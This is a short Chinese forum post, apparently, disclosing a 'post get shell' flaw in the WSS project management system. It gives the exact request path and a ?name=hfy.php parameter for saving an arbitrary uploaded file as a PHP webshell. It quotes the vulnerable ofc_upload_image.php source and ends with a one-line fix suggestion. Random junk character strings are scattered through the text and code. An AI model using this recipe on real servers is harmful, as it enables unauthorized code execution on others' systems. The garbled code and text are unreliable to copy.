WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

1 s: f5 k9 C: {. ~& `利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
2 o% C" A; P( _$ [$ }- W, ^  f. O' {
. G' M3 O/ p! {+ ZPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php

; F! l7 C" y1 w0 W* |1 m; {5 g
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

3 N/ _! r8 ?- X8 q. i<?php
7 T( _- N' X1 G2 Q5 L
//
- T8 i4 N: d, ^, s' q// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

. _; h; X8 w: i" l% \8 m% R1 F/*
3 p  c5 y3 @+ Z' l/ M, I
2 ^, M. ]6 H$ L; }# T3 n  Pprint_r( $_GET );
print_r( $_POST );
% M, W" f6 e0 X. e! b0 tprint_r( $_FILES );

; \+ ~! H% f+ z1 I* m" k! J4 _2 ?5 jprint_r( $GLOBALS );
, {0 e2 ?0 O" M% ^1 zprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
6 z9 O4 m5 x4 R/ m4 Y
' `4 @* Z- @. K8 r*/
$ o( A% L6 }, u4 b3 t6 F// default path for the image to be stored //
" y, D/ c6 Y9 d6 D; K$default_path = '../tmp-upload-images/';
; A: q0 O( c( Q
! x# g5 }9 l, P# |if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
: S6 ]6 H: h' V: |" M( C. F4 V5 G$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
  j' C9 T6 j! r5 h" }7 K5 q- \8 Y// print_r( $_POST );
// print_r( $_SERVER );
( R3 M1 |8 y! Y# M+ E2 I+ t// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
: u. t0 @' {& n) }+ h3 |// so PHP is a bit confused and $_POST is empty. But it has saved
" r2 _/ ?1 s* m4 J5 w% D// the raw bits into $HTTP_RAW_POST_DATA
//
6 N, V6 B/ }6 E) V2 j- [1 E2 P
: k# h6 {4 V1 e6 f$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
2 Z( I9 }% Q$ \fclose($jfh);
( |# F1 ]2 ], _( s" T$ n& H
//
// LOOK:
3 s5 W2 g$ V6 y- T1 k$ G//
; F2 j, _: m  ]# [# p5 A5 T2 ~exit();
7 @: _9 ~+ ~/ h6 {+ K//
2 c( ^5 k7 u+ i$ c// PHP5:
//
& K3 Q6 r- g2 p6 T4 [4 Y6 M

0 y3 w; c$ G3 c8 S! R) I1 z: o# M// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
5 C! O+ z# L$ P+ R( ~* T9 Z7 h; j0 ^
% V% d& F# z% C// move the image into the specified directory //
) }1 W/ i/ l1 A3 D. W$ hif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
  M, S' @8 u" L7 _" O7 O0 e    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}

* R, v: ^! |% z3 T" r# R( k9 Z% O
) Q- W/ v- Z% s0 m; M% [9 `?>
7 Y9 w6 [0 ^2 \  B' b/ u- N
. l6 J9 y1 l  D# X/ g" s



- v4 ~1 O2 D0 K& }- a* P
$ ?8 B7 c( x, Y6 p; V! C修复方案：
8 Q7 p) t$ l4 U) V这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


$ m7 \# G! ^6 G$ |* o3 v) ~

6 I2 s7 }; w$ b7 K